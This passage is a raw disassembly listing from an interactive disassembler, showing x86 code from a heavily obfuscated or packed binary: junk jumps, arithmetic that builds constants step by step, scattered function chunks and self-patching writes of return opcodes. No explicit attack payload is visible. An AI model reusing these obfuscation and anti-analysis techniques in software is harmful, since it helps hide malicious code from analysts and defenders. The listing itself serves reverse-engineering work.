; END OF FUNCTION CHUNK	FOR sub_746389
; START	OF FUNCTION CHUNK FOR sub_7473E6


loc_74A5F6:				; CODE XREF: sub_7473E6+12j
		jmp	loc_74B569
; END OF FUNCTION CHUNK	FOR sub_7473E6
; ---------------------------------------------------------------------------
		xchg	esi, ebp
		and	eax, edx
		jmp	sub_74BDFA
; ---------------------------------------------------------------------------


loc_74A604:				; DATA XREF: sub_746B7C+6AB3o
		mov	edx, ebp
		pop	ebp
		jnb	loc_75692A
; START	OF FUNCTION CHUNK FOR sub_7554BB


loc_74A60D:				; CODE XREF: sub_7554BB:loc_754593j
		mov	eax, [esp+4+var_4]
		jmp	loc_74D767
; END OF FUNCTION CHUNK	FOR sub_7554BB
; ---------------------------------------------------------------------------
		mov	eax, ebp
		jmp	loc_74787C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746F7A


loc_74A61D:				; CODE XREF: sub_746F7A+1Ej
		jmp	loc_747F2C
; END OF FUNCTION CHUNK	FOR sub_746F7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74A622:				; CODE XREF: sub_747AEC-12AEj
		popf
		jbe	loc_7571CE
		push	edx


loc_74A62A:				; CODE XREF: sub_747AEC:loc_7483C9j
		mov	eax, 0CF0182F6h
		call	sub_746E93
		sub	eax, 0F304E64Eh
		jmp	loc_74DA68
; END OF FUNCTION CHUNK	FOR sub_747AEC

; =============== S U B	R O U T	I N E =======================================



sub_74A63F	proc near		; CODE XREF: sub_74D782+1F98j

; FUNCTION CHUNK AT 0074BD21 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007544A8 SIZE 0000000D BYTES

		push	ebx
		push	0CBEC7FCAh
		pop	ebx
		xor	ebx, 406E11B1h
		add	ebx, 74BF82A5h
		jmp	loc_74BD21
sub_74A63F	endp


; =============== S U B	R O U T	I N E =======================================



sub_74A657	proc near		; DATA XREF: sub_747C22:loc_745292o
		push	103C648Eh
		pop	eax
		sub	eax, 5AB548D7h
		add	eax, 15C49ACCh
		or	eax, 0EB0F7803h
		push	offset sub_757314
		jmp	nullsub_286
sub_74A657	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DAAF


loc_74A679:				; CODE XREF: sub_74DAAF:loc_74EDD2j
		mov	eax, 0B9726E5Ah
		push	edx
		push	0E2AF4B67h
		pop	edx
		sub	edx, 0DD312967h
		and	edx, 0A234395Ch
		add	edx, 40A62Eh
		jmp	loc_7472E6
; END OF FUNCTION CHUNK	FOR sub_74DAAF
; ---------------------------------------------------------------------------
		jmp	ds:dword_41F054
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_74A6A2:				; CODE XREF: sub_74D782+15j
		jmp	loc_74D8E9
; END OF FUNCTION CHUNK	FOR sub_74D782
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		or	al, 24h
		mov	edx, ecx
		pop	ecx
		jno	loc_74F071
		mov	eax, [esp]
		push	eax
		mov	eax, edx
		jmp	loc_7480D6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74A6BF:				; CODE XREF: sub_747736+93BFj
		jmp	loc_74DC2D
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------

locret_74A6C4:				; CODE XREF: _0z4jwtox:0074912Bj
		retn
; ---------------------------------------------------------------------------
		popf
		jmp	loc_755ECB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753D0E


loc_74A6CB:				; CODE XREF: sub_753D0E:loc_745B27j
		and	edx, 87F6EC03h
		xor	edx, 0BCC0517Bh
		add	edx, 2E384ACDh
		or	edx, 0A6F58BC3h
		add	edx, 1074FA23h
		xchg	edx, [esp+4+var_4]
		jmp	loc_74B81D
; END OF FUNCTION CHUNK	FOR sub_753D0E
; ---------------------------------------------------------------------------


loc_74A6F1:				; CODE XREF: _0z4jwtox:0074F471j
		mov	eax, ebx
		push	offset loc_754576
		jmp	locret_75759C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74A6FD:				; CODE XREF: sub_747C22:loc_751033j
		pop	ecx
		rol	ecx, 9
		add	ecx, 3A49F58Bh
		rol	ecx, 1
		call	sub_74AA82


loc_74A70E:				; CODE XREF: sub_75118C-52D9j
		jmp	sub_74A96E
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74624E


loc_74A713:				; CODE XREF: sub_74624E+Aj
		jmp	loc_74A7EE
; END OF FUNCTION CHUNK	FOR sub_74624E
; ---------------------------------------------------------------------------


loc_74A718:				; CODE XREF: _0z4jwtox:0074CD43j
		xchg	ecx, [esi]

; =============== S U B	R O U T	I N E =======================================



sub_74A71A	proc near		; CODE XREF: sub_74FE55-935Fp

; FUNCTION CHUNK AT 007458FB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00747388 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00748FD6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00749AF8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00749D49 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00749DA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B1D5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074DEF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EDB2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074FAE1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0075231D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00752404 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752644 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00755F08 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0075652B SIZE 00000009 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		movzx	eax, byte ptr [eax]
		mov	[ebp-1Ch], eax
		jmp	loc_747388
sub_74A71A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	ecx, 38210A55h
		jmp	sub_755501
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_74A734:				; CODE XREF: sub_74C0A0-3FCFj
		jb	loc_74FC58
		adc	ebp, 5FA0729Ch
		sub	eax, 72199592h


loc_74A746:				; CODE XREF: sub_74C0A0:loc_7514E4j
		push	8403383Ch
		pop	eax
		add	eax, 5B77CF32h
		xor	eax, 0CEA44429h
		or	eax, 2F22EDBBh
		jmp	loc_74E802
; END OF FUNCTION CHUNK	FOR sub_74C0A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757151


loc_74A763:				; CODE XREF: sub_757151+16j
		and	edx, 519514CAh
		add	edx, 0EEE392F5h
		xchg	edx, [esp-4+arg_0]
		jmp	loc_74E2C2
; END OF FUNCTION CHUNK	FOR sub_757151
; ---------------------------------------------------------------------------
		jmp	ds:off_41F150
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_751307


loc_74A77D:				; CODE XREF: sub_751307+4171j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_751307
; ---------------------------------------------------------------------------
		jmp	ds:off_41F130
; ---------------------------------------------------------------------------


loc_74A788:				; CODE XREF: _0z4jwtox:00748B02j
		jmp	near ptr dword_745988+0Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747B76


loc_74A78D:				; CODE XREF: sub_74D21E:loc_745839j
					; sub_747B76+3j ...
		jno	loc_747B7E
		pop	edx
		mov	eax, [esp+0]
		push	eax
		mov	eax, edx
		jmp	loc_750AB9
; END OF FUNCTION CHUNK	FOR sub_747B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746145


loc_74A79F:				; CODE XREF: sub_746145:loc_74E085j
		mov	eax, 1171F650h
		call	sub_746E93
		mov	ds:off_41F018, eax
		lea	eax, sub_745A78
		mov	byte ptr [eax],	0C3h
		jmp	loc_755720
; END OF FUNCTION CHUNK	FOR sub_746145

; =============== S U B	R O U T	I N E =======================================



sub_74A7BD	proc near		; CODE XREF: sub_41BDE7+8p
					; _0z4jwtox:0074DC9Aj
					; DATA XREF: ...

; FUNCTION CHUNK AT 0075395C SIZE 00000005 BYTES

		push	ebp
		mov	ebp, eax
		push	offset loc_74C2A2
		jmp	loc_75395C
sub_74A7BD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_74A7CA:				; CODE XREF: sub_746E37+89AEj
		lea	eax, loc_751388
		mov	byte ptr [eax],	0C3h
		jmp	loc_75009F
; END OF FUNCTION CHUNK	FOR sub_746E37

; =============== S U B	R O U T	I N E =======================================



sub_74A7D8	proc near		; CODE XREF: sub_4090ED+91p
					; sub_74C39F+9j
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074530F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00745B1B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746CE3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746E0F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074874E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00748928 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074BF8D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074CF16 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074E606 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074E620 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074F8AA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0074FCF3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074FF3B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00750609 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00751512 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00751FEA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 007525C0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 007539C0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00753DD6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00754AA6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00755F58 SIZE 00000019 BYTES

		call	sub_74C39F


loc_74A7DD:				; CODE XREF: sub_747C22-124Dj
		xor	ebx, 0A7A78D58h
		test	esi, 0DEC06376h
		jmp	loc_74CF16
sub_74A7D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74624E


loc_74A7EE:				; CODE XREF: sub_74624E:loc_74A713j
		push	edx
		push	edx
		push	2A225ED0h
		pop	edx
		xor	edx, 4062B413h
		add	edx, 9634265Ah
		call	sub_75451C


loc_74A807:				; CODE XREF: sub_757739+16j
		jmp	nullsub_44
; END OF FUNCTION CHUNK	FOR sub_74624E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746DD8


loc_74A80C:				; CODE XREF: sub_746DD8+7j
		jmp	loc_74FBB6
; END OF FUNCTION CHUNK	FOR sub_746DD8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753F1A


loc_74A812:				; CODE XREF: sub_753F1A+Aj
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_753F1A
; ---------------------------------------------------------------------------


loc_74A817:				; CODE XREF: _0z4jwtox:0074CF46j
		jmp	loc_74B795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F08D


loc_74A81C:				; CODE XREF: sub_74F08D-8CE5j
		jmp	nullsub_14
; END OF FUNCTION CHUNK	FOR sub_74F08D

; =============== S U B	R O U T	I N E =======================================



sub_74A821	proc near		; DATA XREF: sub_7490F6+573Bo

; FUNCTION CHUNK AT 00745409 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00746693 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0074AED3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007500A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075581D SIZE 0000000D BYTES

		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_74EE3E
		jmp	loc_745409
sub_74A821	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571A1


loc_74A833:				; CODE XREF: sub_746F7A:loc_747F2Cj
					; sub_7571A1-222Ej
		push	offset sub_74A2D9
		jmp	nullsub_233
; END OF FUNCTION CHUNK	FOR sub_7571A1

; =============== S U B	R O U T	I N E =======================================



sub_74A83D	proc near		; CODE XREF: _0z4jwtox:00749C01j
					; sub_7577AC+Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074FD74 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00753759 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755338 SIZE 00000008 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	ebx, [esp-4+arg_0]
		push	eax
		call	sub_757498


loc_74A84A:				; CODE XREF: sub_74E3F7+1923j
		jmp	loc_74FD74
sub_74A83D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74A84F:				; CODE XREF: sub_747AEC+6077j
		jmp	loc_7498C0
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F688


loc_74A854:				; CODE XREF: sub_74F688:loc_75363Cj
		xchg	eax, [esp+8+var_8]
		mov	edi, eax
		pop	eax
		add	edi, 0ADA44122h
		rol	edi, 0Ch
		push	offset loc_747E48
		jmp	loc_74536E
; END OF FUNCTION CHUNK	FOR sub_74F688
; ---------------------------------------------------------------------------


loc_74A86D:				; CODE XREF: _0z4jwtox:00753CB3j
		jnz	loc_748445
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		push	offset sub_745276
		jmp	loc_75580B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7541BA


loc_74A883:				; CODE XREF: sub_7541BA:loc_74AABCj
		cmp	eax, 0B3560350h
		jmp	loc_74D843
; END OF FUNCTION CHUNK	FOR sub_7541BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E11E


loc_74A88E:				; CODE XREF: sub_74E11E-6E02j
		mov	[edx], eax
		pop	edx
		call	sub_747032
		push	0B5F04297h
		xchg	ebx, [esp+0]
		mov	eax, ebx
		pop	ebx
		xor	eax, 0E28CD6ADh
		add	eax, 85A90596h
		rol	eax, 17h
		jmp	loc_74C855
; END OF FUNCTION CHUNK	FOR sub_74E11E
; ---------------------------------------------------------------------------
		db 5Dh,	0Fh, 8Ah
		dd 8BFFh, 0B43BE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_74A8C1:				; CODE XREF: sub_74C8DA-2EC4j
		jz	loc_74B071


loc_74A8C7:				; CODE XREF: sub_74C8DA:loc_74FFC5j
		call	nullsub_5
		jmp	loc_749022
; END OF FUNCTION CHUNK	FOR sub_74C8DA

; =============== S U B	R O U T	I N E =======================================



sub_74A8D1	proc near		; CODE XREF: sub_74F30D:loc_752AC1j

; FUNCTION CHUNK AT 0074636D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074B93C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756983 SIZE 00000020 BYTES

		add	esp, 0FFFFFED0h
		mov	[ebp-0Ch], ecx
		mov	[ebp-6], dx
		jmp	loc_756983
sub_74A8D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_74A8E3	proc near		; CODE XREF: _0z4jwtox:00745597j
					; _0z4jwtox:0075577Dp
		xchg	esi, [esp+0]
		pop	esi
		add	eax, 0C16EC787h
		push	ecx
sub_74A8E3	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74A8EE:				; CODE XREF: sub_747C22+BEACj
		pushf
		push	0F26AFFC5h
		jmp	loc_751033
; END OF FUNCTION CHUNK	FOR sub_747C22

; =============== S U B	R O U T	I N E =======================================



sub_74A8F9	proc near		; CODE XREF: _0z4jwtox:0074C564j
					; sub_748DB7:loc_754075p
		xchg	edx, [esp+0]
		pop	edx
		push	87463FAAh
		pop	edi
		and	edi, 9DCCBFA1h
		add	edi, 7B303C68h
		mov	[edi], eax
		pop	edi
		jmp	loc_747F80
sub_74A8F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755103


loc_74A917:				; CODE XREF: sub_755103:loc_75510Cj
		call	sub_74F73B
; END OF FUNCTION CHUNK	FOR sub_755103
; START	OF FUNCTION CHUNK FOR sub_749254


loc_74A91C:				; CODE XREF: sub_749254+47DCj
		jmp	loc_752EA4
; END OF FUNCTION CHUNK	FOR sub_749254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_74A921:				; CODE XREF: sub_748A22+13j
		call	sub_74F615


loc_74A926:				; CODE XREF: sub_7572D3-EECj
		jmp	loc_74823D
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74A92B:				; CODE XREF: sub_747C22+137Dj
		jz	loc_74F752


loc_74A931:				; CODE XREF: sub_747C22:loc_74F89Dj
		push	ecx
		push	8233F2CAh
		xchg	ebx, [esp+24h+var_24]
		mov	ecx, ebx
		jmp	loc_74FCEE
; END OF FUNCTION CHUNK	FOR sub_747C22

; =============== S U B	R O U T	I N E =======================================



sub_74A941	proc near		; DATA XREF: sub_74A25C:loc_745084o
		mov	byte ptr [eax],	0C3h
		jmp	loc_747FAA
sub_74A941	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A67


loc_74A949:				; CODE XREF: sub_747A67j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edi
		mov	edi, edx
		xchg	edi, [esp+0]
		nop
		jmp	loc_74BD4D
; END OF FUNCTION CHUNK	FOR sub_747A67

; =============== S U B	R O U T	I N E =======================================



sub_74A959	proc near		; CODE XREF: sub_74EF6C-123p
					; _0z4jwtox:0075669Bj

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	ebx, [esp-4+arg_0]
		mov	ebp, ebx
		pop	ebx
		retn
sub_74A959	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74A964:				; CODE XREF: _0z4jwtox:00756CB5j
		jmp	loc_74C9C2
; ---------------------------------------------------------------------------


loc_74A969:				; CODE XREF: _0z4jwtox:0075522Bj
		jmp	sub_74721B

; =============== S U B	R O U T	I N E =======================================



sub_74A96E	proc near		; CODE XREF: sub_745620+4p
					; sub_7470E8:loc_746959j ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007462DE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0074747D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00747856 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 007486B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007494DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749D08 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0074B031 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074CCDD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0075016C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753E45 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00754863 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00756D17 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00757578 SIZE 0000000E BYTES

		push	ebp
		jmp	loc_7494DF
sub_74A96E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748773


loc_74A974:				; CODE XREF: sub_748773:loc_755117j
		mov	[esi], eax
		pop	esi
		pushf
		push	0EF2749A2h
		jmp	loc_74D97F
; END OF FUNCTION CHUNK	FOR sub_748773
; ---------------------------------------------------------------------------


loc_74A982:				; CODE XREF: _0z4jwtox:00746656j
		js	loc_74FBAC
		adc	eax, ecx
		jbe	loc_753845
		jns	loc_745BB8
		jmp	loc_7454FD

; =============== S U B	R O U T	I N E =======================================



sub_74A99B	proc near		; CODE XREF: sub_74DA3D+1p
					; _0z4jwtox:00752110j

; FUNCTION CHUNK AT 00747044 SIZE 00000017 BYTES

		xchg	edi, [esp+0]
		pop	edi
		pushf
		push	0DE6D281Dh
		pop	esi
		jmp	loc_747044
sub_74A99B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745DB1


loc_74A9AB:				; CODE XREF: sub_745DB1+17j
		jnz	loc_750740
; END OF FUNCTION CHUNK	FOR sub_745DB1
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74A9B1:				; CODE XREF: sub_7462FD+D302j
					; sub_74FE55:loc_756004j
		jmp	nullsub_174
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745C55


loc_74A9B6:				; CODE XREF: sub_745C55+2C7Ej
		jmp	loc_74E471
; END OF FUNCTION CHUNK	FOR sub_745C55
; ---------------------------------------------------------------------------
		and	edx, ebp
		add	esi, ebp
		or	edi, 0C5074136h
		xor	edi, edx
		jmp	loc_750740
; ---------------------------------------------------------------------------
		jge	loc_74B249
		push	eax
		jmp	sub_746BB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74A9D8:				; CODE XREF: sub_74FE55-4BE1j
		xor	edi, 3DA3BC96h


loc_74A9DE:				; CODE XREF: _0z4jwtox:00753CC5j
		rol	edi, 7
		add	edi, 0C152D512h
		call	sub_74A066
; END OF FUNCTION CHUNK	FOR sub_74FE55
; START	OF FUNCTION CHUNK FOR sub_74B525


loc_74A9EC:				; CODE XREF: sub_74B525+1j
		jmp	loc_74EB43
; END OF FUNCTION CHUNK	FOR sub_74B525
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DE1F


loc_74A9F1:				; CODE XREF: sub_74DE1F:loc_7564C5j
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		call	sub_75740D
		push	0BA580AF9h
		jmp	loc_746B8D
; END OF FUNCTION CHUNK	FOR sub_74DE1F
; ---------------------------------------------------------------------------
		push	649F3351h
		pop	eax
		xor	eax, 0A0B83BFFh
		or	eax, 2BF79ECBh
		xor	eax, 0AEC49495h
		add	eax, 0C241D024h
		call	sub_746E93
		mov	ds:off_41F068, eax
		jmp	loc_753D76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_751307


loc_74AA33:				; CODE XREF: sub_751307+14j
		jp	loc_755469
; END OF FUNCTION CHUNK	FOR sub_751307
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_74AA39:				; CODE XREF: _0z4jwtox:007494B8j
					; sub_74AAC1:loc_74D331j
		and	eax, 0E66B7FF3h
		add	eax, 9A29B041h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_752B2E
		jmp	loc_74C0D7
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B3EB


loc_74AA54:				; CODE XREF: sub_74B3EB:loc_750C57j
		mov	ecx, esi
		xchg	ecx, [esp+0]
		push	20503ED1h
		pop	esi
		rol	esi, 1Fh
		push	offset loc_752536
		jmp	nullsub_86
; END OF FUNCTION CHUNK	FOR sub_74B3EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F615


loc_74AA6C:				; CODE XREF: sub_74F615:loc_7574C8j
		jge	loc_74C487
; END OF FUNCTION CHUNK	FOR sub_74F615
; START	OF FUNCTION CHUNK FOR sub_750715


loc_74AA72:				; CODE XREF: sub_750715+Bj
		jmp	loc_7525C7
; END OF FUNCTION CHUNK	FOR sub_750715
; ---------------------------------------------------------------------------
		or	edi, 0BA80FF8Fh
		jmp	loc_74C484

; =============== S U B	R O U T	I N E =======================================



sub_74AA82	proc near		; CODE XREF: sub_747C22+2AE7p
					; _0z4jwtox:007506D5j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0075009A SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	ecx, 0DFE1706Dh
		popf
		xchg	ecx, [esp-8+arg_4]
		jmp	loc_75009A
sub_74AA82	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74AA95:				; CODE XREF: _0z4jwtox:0074BEF9j
		jz	loc_754B5C
		jmp	loc_754B54
; ---------------------------------------------------------------------------


loc_74AAA0:				; CODE XREF: _0z4jwtox:loc_750811j
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jz	loc_754B5C
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_74AAAF:				; CODE XREF: sub_74CF35-4307j
		jmp	loc_747321
; END OF FUNCTION CHUNK	FOR sub_74CF35
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 7Fh,	0D7h, 83h
; ---------------------------------------------------------------------------
		pop	ebp
		sbb	dh, [ebx+47h]
; START	OF FUNCTION CHUNK FOR sub_7541BA


loc_74AABC:				; CODE XREF: sub_7541BA+10j
		jmp	loc_74A883
; END OF FUNCTION CHUNK	FOR sub_7541BA

; =============== S U B	R O U T	I N E =======================================



sub_74AAC1	proc near		; CODE XREF: sub_4073B6+29p
					; sub_4073B6+36p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745BAB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00745E51 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00747972 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00748BDF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00748C13 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00748DEB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748E11 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074AA39 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0074AC73 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074B0A7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074BA8D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C0D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C150 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074D331 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074E6B6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074E7A0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074E97B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074FC50 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00750000 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007502B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750317 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00750EBF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00750EFC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00751130 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00751409 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752470 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 007526A9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00752B2E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00752C5B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 007543E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075460E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007558FA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756802 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00756E98 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00756F56 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00757783 SIZE 00000016 BYTES

		jnb	loc_747972
		mov	eax, ds:dword_751F64
		or	eax, eax
		jmp	loc_750000
sub_74AAC1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75309B


loc_74AAD4:				; CODE XREF: sub_75309B-B2DEj
		jnz	loc_74AF85
		jmp	loc_751E34
; END OF FUNCTION CHUNK	FOR sub_75309B
; ---------------------------------------------------------------------------


loc_74AADF:				; CODE XREF: _0z4jwtox:loc_74AF70j
		mov	eax, 6FC7CA4Ch
		jmp	loc_7506B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F7C0


loc_74AAE9:				; CODE XREF: sub_74F7C0+9j
		pop	esi
		sub	ebx, 1103EA13h
		and	ebx, 0CBD22A96h
		add	ebx, 0C348F4D5h
		sub	ebx, 6BD5FF80h
		add	ebx, 9DC05310h
		xchg	ebx, [esp-4+arg_0]
		jmp	sub_755103
; END OF FUNCTION CHUNK	FOR sub_74F7C0
; ---------------------------------------------------------------------------
		cmp	esi, 1DA6B1EDh
		jmp	loc_747B55
